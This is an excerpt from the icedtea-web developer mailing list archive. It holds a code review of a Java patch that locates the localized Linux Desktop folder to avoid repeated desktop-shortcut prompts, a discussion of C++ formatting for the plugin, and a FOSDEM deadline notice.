prompt for creating desktop shortcuts every time >>>>> they are run >>>>> >>>>> When I have seen Omairs original patch it was too much >>>>> complicated, So I want at least to try this one. >>>>> It is pretty simple. The disadvantage however is: >>>>> + public File getFinalLinuxDesktopIconFile() { >>>>> + return new >>>>> File(System.getProperty("user.home")+"/Desktop/"+getDesktopIconFinalName()+".desktop"); >>>>> + } >>>>> >>>>> to be dependent on System.getProperty("user.home")+"/Desktop/" and >>>>> .desktop suffix. >>>>> >>>>> However .. can it be enough? >>>>> >>>>> The second patch is for testing purposes of this case which I >>>>> would like to push forward as soon as possible. >>>>> >>>>> J. >>>> >>>> This will be broken on non-english systems. >>>> >>>> The name of the Desktop folder gets localized on many distributions. >>>> For example the Desktop folder is called Skrivbord on Swedish user >>>> systems. >>>> The configuration of the user desktop folder location is set in the >>>> ~/.config/user-dirs.dirs >>>> >>>> On my system this file contains: >>>> xranby at xranby-ESPRIMO-P7935:~/.config$ cat user-dirs.dirs >>>> # This file is written by xdg-user-dirs-update >>>> # If you want to change or add directories, just edit the line you're >>>> # interested in. All local changes will be retained on the next run >>>> # Format is XDG_xxx_DIR="$HOME/yyy", where yyy is a shell-escaped >>>> # homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an >>>> # absolute path. No other format is supported. >>>> # >>>> XDG_DESKTOP_DIR="$HOME/Skrivbord" >>>> XDG_DOWNLOAD_DIR="$HOME/H?mtningar" >>>> XDG_TEMPLATES_DIR="$HOME/Mallar" >>>> XDG_PUBLICSHARE_DIR="$HOME/Publikt" >>>> XDG_DOCUMENTS_DIR="$HOME/Dokument" >>>> XDG_MUSIC_DIR="$HOME/Musik" >>>> XDG_PICTURES_DIR="$HOME/Bilder" >>>> XDG_VIDEOS_DIR="$HOME/Video" >>>> >>> >>> I see.. This is very valid point and I have hoped to hear something >>> like this. >>> Do you think it is correct to get this information from >>> ~/.config/user-dirs.dirs ? >>> It sound good enough to me to parse it... As it is standartized in >>> freedesktop.org. >>> >>> Thanx for reply, >>> >>> J. >> >> So here is improved version which is parsing fro >> ~/.config/user-dirs.dirs. >> >> J. > > > This is little bit better and is taking care for all possible > variables. Instead all this parsing and substitutions simple exec of > echo $(xdg-user-dir DESKTOP) is possible. And it maybe more bullet > proof. However I would like avoid Sytem.exec wheres possible. > > J. > thanks, comments inline > diff -r a16da8b96a0f > netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java > --- a/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Mon > Dec 24 13:58:31 2012 +0100 > +++ b/netx/net/sourceforge/jnlp/runtime/ApplicationInstance.java Mon > Dec 24 21:38:14 2012 +0100 > @@ -146,7 +146,13 @@ > private void addMenuAndDesktopEntries() { > XDesktopEntry entry = new XDesktopEntry(file); > ShortcutDesc sd = file.getInformation().getShortcut(); > - > + if (entry.getFinalLinuxDesktopIconFile().exists()) { > + if (JNLPRuntime.isDebug()) { > + System.out.println("ApplicationInstance.addMenuAndDesktopEntries(): > file - " > + + > entry.getFinalLinuxDesktopIconFile().getAbsolutePath() + " already > exists. Not proceeding with desktop additions"); > + } > + return; > + } > if (shouldCreateShortcut(sd)) { > entry.createDesktopShortcut(); > } > diff -r a16da8b96a0f netx/net/sourceforge/jnlp/util/XDesktopEntry.java > --- a/netx/net/sourceforge/jnlp/util/XDesktopEntry.java Mon Dec 24 > 13:58:31 2012 +0100 > +++ b/netx/net/sourceforge/jnlp/util/XDesktopEntry.java Mon Dec 24 > 21:38:14 2012 +0100 > @@ -16,16 +16,24 @@ > > package net.sourceforge.jnlp.util; > > +import java.io.BufferedReader; > import java.io.File; > import java.io.FileNotFoundException; > import java.io.FileOutputStream; > +import java.io.FileReader; > import java.io.IOException; > import java.io.OutputStreamWriter; > import java.io.Reader; > import java.io.StringReader; > import java.net.URL; > import java.nio.charset.Charset; > +import java.util.ArrayList; > import java.util.Arrays; > +import java.util.Collections; > +import java.util.Comparator; > +import java.util.List; > +import java.util.Map.Entry; > +import java.util.Set; > > import net.sourceforge.jnlp.IconDesc; > import net.sourceforge.jnlp.JNLPFile; > @@ -48,6 +56,7 @@ > > public static final String JAVA_ICON_NAME = "java"; > > + > private JNLPFile file = null; > private int iconSize = -1; > private String iconLocation = null; > @@ -78,7 +87,7 @@ > > String fileContents = "[Desktop Entry]\n"; > fileContents += "Version=1.0\n"; > - fileContents += "Name=" + sanitize(file.getTitle()) + "\n"; > + fileContents += "Name=" + getDesktopIconFinalName() + "\n"; > fileContents += "GenericName=Java Web Start Application\n"; > fileContents += "Comment=" + > sanitize(file.getInformation().getDescription()) + "\n"; > fileContents += "Type=Application\n"; > @@ -122,6 +131,11 @@ > return iconSize; > } > > + public File getShortcutTmpFile() { > + File shortcutFile = new > File(JNLPRuntime.getConfiguration().getProperty(DeploymentConfiguration.KEY_USER_TMP_DIR) > + File.separator + FileUtils.sanitizeFileName(file.getTitle()) + > ".desktop"); bit of a mouthful, a temporary variable here for the user directory would be good. > + return shortcutFile; > + } > + > /** > * Set the icon size to use for the desktop shortcut > * > @@ -148,9 +162,7 @@ > * Install this XDesktopEntry into the user's desktop as a launcher > */ > private void installDesktopLauncher() { > - File shortcutFile = new File(JNLPRuntime.getConfiguration() > - .getProperty(DeploymentConfiguration.KEY_USER_TMP_DIR) > - + File.separator + > FileUtils.sanitizeFileName(file.getTitle()) + ".desktop"); > + File shortcutFile = getShortcutTmpFile(); > try { > > if (!shortcutFile.getParentFile().isDirectory() && > !shortcutFile.getParentFile().mkdirs()) { > @@ -234,4 +246,80 @@ > } > } > > + public String getDesktopIconFinalName() { I don't understand what is 'final' about it ? Why can it simply not be called the icon name? > + return sanitize(file.getTitle()); > + } > + > + public File getFinalLinuxDesktopIconFile() { Similarly I don't understand what makes this the final linux desktop icon file, vs 'getLinuxDesktopIconFile' > + return new File(findFreedesktopOrgDesktopPathCatch() + > getDesktopIconFinalName() + ".desktop"); > + } > + > + public static String findFreedesktopOrgDesktopPathCatch() { I'm all for splitting into many small methods, but I don't know how I feel about findFreedesktopOrgDesktopPathCatch, findFreedesktopOrgDesktopPath, getFreedesktopOrgDesktopPathFrom all being public, separate methods. I think just inlining all the logic into one findFreedesktopOrgDesktopPath() method suffices, also the name 'findFreedesktopOrgDesktopPathCatch' says too much about the implementation IMO. > + try { > + return findFreedesktopOrgDesktopPath(); > + } catch (Exception ex) { I think catching Exception is (almost) always a bad idea, it can silence even array-out-of-bounds. I think IOException suffices. > + return System.getProperty("user.home") + "/Desktop/"; > + } > + } > + > + public static String findFreedesktopOrgDesktopPath() throws > IOException { > + File userDirs = new File(System.getProperty("user.home") + > "/.config/user-dirs.dirs"); > + if (!userDirs.exists()) { > + return System.getProperty("user.home") + "/Desktop/"; > + } > + return getFreedesktopOrgDesktopPathFrom(userDirs); > + } > + > + public static String getFreedesktopOrgDesktopPathFrom(File > userDirs) throws IOException { > + BufferedReader r = new BufferedReader(new FileReader(userDirs)); > + try { > + return getFreedesktopOrgDesktopPathFrom(r); > + } finally { > + r.close(); > + } > + > + } > + > + public static final String XDG_DESKTOP_DIR = "XDG_DESKTOP_DIR"; > + > + public static String > getFreedesktopOrgDesktopPathFrom(BufferedReader r) throws IOException { This is a helper method and shouldn't be public IMO. > + while (true) { > + String s = r.readLine(); > + if (s == null) { > + throw new IOException("End of user-dirs found, but no > " + XDG_DESKTOP_DIR + " key found"); > + } > + s = s.trim(); > + if (s.startsWith(XDG_DESKTOP_DIR)) { > + if (!s.contains("=")) { > + throw new IOException(XDG_DESKTOP_DIR + " have no > value"); s/have/has/ > + } > + String[] ss = s.split("="); rename 'ss' to 'keyvalue' or something, and the reason ss[1] is used will be clearer IMO. > + ss[1] = ss[1].trim(); > + return evaluateVariables(ss[1]); > + } > + } > + } > + > + private static String evaluateVariables(String orig) { > + > + Set> env = System.getenv().entrySet(); > + List> envVariables = new > ArrayList> (env); > + Collections.sort(envVariables, new Comparator String>>(){ > + > + @Override > + public int compare(Entry o1, > Entry o2) { > + return o2.getKey().length()-o1.getKey().length(); > + } > + }); > + while (true) { > + String before = orig; > + for (Entry entry : envVariables) { > + orig=orig.replaceAll("\\$"+entry.getKey(), > entry.getValue()); > + } > + if (before.equals(orig)) { > + return orig; > + } > + } > + > + } > } > diff -r a16da8b96a0f > tests/netx/unit/net/sourceforge/jnlp/util/XDesktopEntryTest.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ b/tests/netx/unit/net/sourceforge/jnlp/util/XDesktopEntryTest.java > Mon Dec 24 21:38:14 2012 +0100 > @@ -0,0 +1,59 @@ > +/* > + * To change this template, choose Tools | Templates > + * and open the template in the editor. > + */ Netbeans user are you ? Anyway this should be gone. > +package net.sourceforge.jnlp.util; > + > +import java.io.BufferedReader; > +import java.io.IOException; > +import java.io.StringReader; > +import org.junit.Assert; > +import org.junit.Test; > + > +public class XDesktopEntryTest { > + > + private String des1 = "/my/little/Desktop"; > + private String des2name = "Plocha"; > + private String des2Res = System.getProperty("user.home") + "/" + > des2name; > + private String des2 = "$HOME" + "/" + des2name; > + private String src1 = XDesktopEntry.XDG_DESKTOP_DIR + "=" + des1; > + private String src2 = " " + XDesktopEntry.XDG_DESKTOP_DIR + " = > " + des1; > + private String src3 = "#" + XDesktopEntry.XDG_DESKTOP_DIR + " = " > + des1; > + private String src4 = XDesktopEntry.XDG_DESKTOP_DIR + "=" + des2; > + private String src5 = " " + XDesktopEntry.XDG_DESKTOP_DIR + " = > " + des2; > + private String src6 = "#" + XDesktopEntry.XDG_DESKTOP_DIR + " = " > + des2; > + > + @Test > + public void getFreedesktopOrgDesktopPathFromtestSimple() throws > IOException { > + String s = XDesktopEntry.getFreedesktopOrgDesktopPathFrom(new > BufferedReader(new StringReader(src1))); > + Assert.assertEquals(s, des1); > + } > + > + @Test > + public void getFreedesktopOrgDesktopPathFromtestSpaced() throws > IOException { > + String s = XDesktopEntry.getFreedesktopOrgDesktopPathFrom(new > BufferedReader(new StringReader(src2))); > + Assert.assertEquals(s, des1); > + } > + > + @Test(expected = IOException.class) > + public void getFreedesktopOrgDesktopPathFromtestCommented() > throws IOException { > + String s = XDesktopEntry.getFreedesktopOrgDesktopPathFrom(new > BufferedReader(new StringReader(src3))); > + } > + > + @Test > + public void getFreedesktopOrgDesktopPathFromtestSimpleWithHome() > throws IOException { > + String s = XDesktopEntry.getFreedesktopOrgDesktopPathFrom(new > BufferedReader(new StringReader(src4))); > + Assert.assertEquals(s, des2Res); > + } > + > + @Test > + public void getFreedesktopOrgDesktopPathFromtestSpacedWithHome() > throws IOException { > + String s = XDesktopEntry.getFreedesktopOrgDesktopPathFrom(new > BufferedReader(new StringReader(src5))); > + Assert.assertEquals(s, des2Res); > + } > + > + @Test(expected = IOException.class) > + public void > getFreedesktopOrgDesktopPathFromtestCommentedWithHome() throws > IOException { > + String s = XDesktopEntry.getFreedesktopOrgDesktopPathFrom(new > BufferedReader(new StringReader(src6))); > + } > +} Test looks OK Just one additional comment, as Omair pointed out his patch had nice functionality when a desktop icon was deleted (it did not prompt again for desktop icon to be created). It is worth considering. Happy hacking, -Adam From adomurad at redhat.com Fri Dec 28 14:16:45 2012 From: adomurad at redhat.com (Adam Domurad) Date: Fri, 28 Dec 2012 17:16:45 -0500 Subject: [icedtea-web] Proposed formatting for C++ side of plugin In-Reply-To: <50DC71C6.7060002@redhat.com> References: <1337717124.9450.6.camel@voip-10-15-18-79.yyz.redhat.com> <20120522203939.GU29866@redhat.com> <20120522204944.GW29866@redhat.com> <50B67E52.4060408@redhat.com> <20121219165859.GX11352@redhat.com> <50DC71C6.7060002@redhat.com> Message-ID: <50DE1A4D.4030301@redhat.com> Originally sent this off-list, sorry. On 12/27/2012 11:05 AM, Omair Majid wrote: > I didn't see a patch posted in the email thread, but I am willing to > look at one when it's posted. > > Omair > Okay, lets give it a try then. Overall I was a little disappointed with the customization that the formatting options allowed. Formatting used was essentially standard K&R format that comes with Eclipse, except: - spaces only (no tabs) - 100-width line wraps, this is a debatable choice but the result felt truer to what was there before Options played around with: - Do not attempt to join wrapped lines -- would allow for keeping some of the manually formatted code, but has unpleasant side effects. It may be worthy to turn on 'do not attempt to join wrapped lines' once the autoformating has taken place, however note that it would not join any lines so it would not eg enforce K&R brace style effectively. I'll post the formatting profile once it's been finalized. Just posting HEAD formatted for now pending feedback (Have fun reading the diff!). Happy hacking, -Adam -------------- next part -------------- A non-text attachment was scrubbed... Name: new-format.patch Type: text/x-patch Size: 388530 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121228/c7acc5f9/new-format.patch From omajid at redhat.com Fri Dec 28 15:07:05 2012 From: omajid at redhat.com (Omair Majid) Date: Fri, 28 Dec 2012 18:07:05 -0500 Subject: [icedtea-web] Proposed formatting for C++ side of plugin In-Reply-To: <50DE1A4D.4030301@redhat.com> References: <1337717124.9450.6.camel@voip-10-15-18-79.yyz.redhat.com> <20120522203939.GU29866@redhat.com> <20120522204944.GW29866@redhat.com> <50B67E52.4060408@redhat.com> <20121219165859.GX11352@redhat.com> <50DC71C6.7060002@redhat.com> <50DE1A4D.4030301@redhat.com> Message-ID: <50DE2619.4030201@redhat.com> On 12/28/2012 05:16 PM, Adam Domurad wrote: > Originally sent this off-list, sorry. > > On 12/27/2012 11:05 AM, Omair Majid wrote: >> I didn't see a patch posted in the email thread, but I am willing to >> look at one when it's posted. >> >> Omair >> > Okay, lets give it a try then. Overall I was a little disappointed with > the customization that the formatting options allowed. > > Formatting used was essentially standard K&R format that comes with > Eclipse, except: > - spaces only (no tabs) > - 100-width line wraps, this is a debatable choice but the result > felt truer to what was there before > > Options played around with: > - Do not attempt to join wrapped lines -- would allow for keeping > some of the manually formatted code, but has unpleasant side effects. It > may be worthy to turn on 'do not attempt to join wrapped lines' once the > autoformating has taken place, however note that it would not join any > lines so it would not eg enforce K&R brace style effectively. > > I'll post the formatting profile once it's been finalized. > > Just posting HEAD formatted for now pending feedback (Have fun reading > the diff!). On a quick look, one thing jumps out at me: -bool -JavaRequestProcessor::newMessageOnBus(const char* message) -{ +bool JavaRequestProcessor::newMessageOnBus(const char* message) { The K&R indentation style places the opening brace in the line below the function prototype: +bool JavaRequestProcessor::newMessageOnBus(const char* message) +{ Also, this patch may need some manual tweaks. Some if statements with comments on the conditional have the opening brace on the next line rather than on the same line: + } else if (!message_parts->at(4)->find("GetStringChars")) // GetStringChars (UTF-16LE/UCS-2) + { I will take a more detailed look at this soon. Cheers, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From jvanek at redhat.com Sat Dec 29 10:32:39 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Sat, 29 Dec 2012 19:32:39 +0100 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50DC8D90.8000207@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49071.80107@redhat.com> <50DC8D90.8000207@redhat.com> Message-ID: <50DF3747.9090202@redhat.com> On 12/27/2012 07:04 PM, Omair Majid wrote: > On 12/21/2012 11:38 AM, Adam Domurad wrote: >> On 12/21/2012 11:05 AM, Jiri Vanek wrote: >>> Hi! This is fix for >>> http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP >>> applications will prompt for creating desktop shortcuts every time >>> they are run >>> >>> When I have seen Omairs original patch it was too much complicated, So >>> I want at least to try this one. >> >> Do you know why Omair used explicit locking? I couldn't quite figure it out >> > > My first patch kept a record of all desktop entries that icedtea-web > created in a file. This meant that if a user deleted the desktop icon, > icedtea-web wouldn't prompt for the creation of that icon again. > I was thinking about it in vice-versa. If he had already created icon, and then he delted it. And some time later he launch application again, I would expect he would like to be asked again. However, when he will refuse to create an desktop icon then he should not be asked again.. that is *probably* true, but I'm not so sure... And to achieve this something like your previous approach is needed. So what do you think about combination of my and yours approach? > It was important to lock that record file to prevent multiple > icedtea-web processes from editing it simultaneously. > > Cheers, > Omair From omajid at redhat.com Mon Dec 31 06:17:00 2012 From: omajid at redhat.com (Omair Majid) Date: Mon, 31 Dec 2012 09:17:00 -0500 Subject: [rfc][icedtea-web] fixinf of desktop icon behaviour In-Reply-To: <50DF3747.9090202@redhat.com> References: <50D488DC.4000507@redhat.com> <50D49071.80107@redhat.com> <50DC8D90.8000207@redhat.com> <50DF3747.9090202@redhat.com> Message-ID: <50E19E5C.1010103@redhat.com> On 12/29/2012 01:32 PM, Jiri Vanek wrote: > On 12/27/2012 07:04 PM, Omair Majid wrote: >> On 12/21/2012 11:38 AM, Adam Domurad wrote: >>> On 12/21/2012 11:05 AM, Jiri Vanek wrote: >>>> Hi! This is fix for >>>> http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=725 - JNLP >>>> applications will prompt for creating desktop shortcuts every time >>>> they are run >>>> >>>> When I have seen Omairs original patch it was too much complicated, So >>>> I want at least to try this one. >>> >>> Do you know why Omair used explicit locking? I couldn't quite figure >>> it out >>> >> >> My first patch kept a record of all desktop entries that icedtea-web >> created in a file. This meant that if a user deleted the desktop icon, >> icedtea-web wouldn't prompt for the creation of that icon again. >> > > I was thinking about it in vice-versa. If he had already created icon, > and then he delted it. And some time later he launch application again, > I would expect he would like to be asked again. I don't have strong feelings about this either way. Some user testing might prove insightful. > However, when he will refuse to create an desktop icon then he should > not be asked again.. that is *probably* true, but I'm not so sure... And > to achieve this something like your previous approach is needed. This sounds sensible to me too. > So what do you think about combination of my and yours approach? Sounds fine to me. I think it would be best to get the behaviour that we are sure is needed (what your initial patch does) into icedtea-web, and then we can try and figure out what to do with the corner cases where the right thing to do is not as obvious. Cheers, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From omajid at redhat.com Mon Dec 31 07:08:57 2012 From: omajid at redhat.com (Omair Majid) Date: Mon, 31 Dec 2012 10:08:57 -0500 Subject: [icedtea-web] Proposed formatting for C++ side of plugin In-Reply-To: <50DE2619.4030201@redhat.com> References: <1337717124.9450.6.camel@voip-10-15-18-79.yyz.redhat.com> <20120522203939.GU29866@redhat.com> <20120522204944.GW29866@redhat.com> <50B67E52.4060408@redhat.com> <20121219165859.GX11352@redhat.com> <50DC71C6.7060002@redhat.com> <50DE1A4D.4030301@redhat.com> <50DE2619.4030201@redhat.com> Message-ID: <50E1AA89.4080502@redhat.com> On 12/28/2012 06:07 PM, Omair Majid wrote: > On a quick look, one thing jumps out at me: > > -bool > -JavaRequestProcessor::newMessageOnBus(const char* message) > -{ > +bool JavaRequestProcessor::newMessageOnBus(const char* message) { > > The K&R indentation style places the opening brace in the line below the > function prototype: > > +bool JavaRequestProcessor::newMessageOnBus(const char* message) > +{ I didn't mean to imply that this should be changed to conform to K&R style, just that we should note that this is not exactly the same as K&R. I like how this is similar enough to our Java style that you don't have to think about formatting when switching from one language to the other. Cheers, Omair -- PGP Key: 66484681 (http://pgp.mit.edu/) Fingerprint = F072 555B 0A17 3957 4E95 0056 F286 F14F 6648 4681 From neugens at redhat.com Thu Dec 20 08:58:33 2012 From: neugens at redhat.com (Mario Torre) Date: Thu, 20 Dec 2012 16:58:33 -0000 Subject: FOSDEM 2013 Free Java DevRoom Call for Papers deadline extended Message-ID: <1356022708.25310.47.camel@pegasus> Hi all, The Free Java Dev Room Committee has decided to extend the deadline to the 4th of January 2013, 23.59 CET. We want to see more papers coming and this is a great opportunity to propose yours if you haven't done already :) Cheers, Mario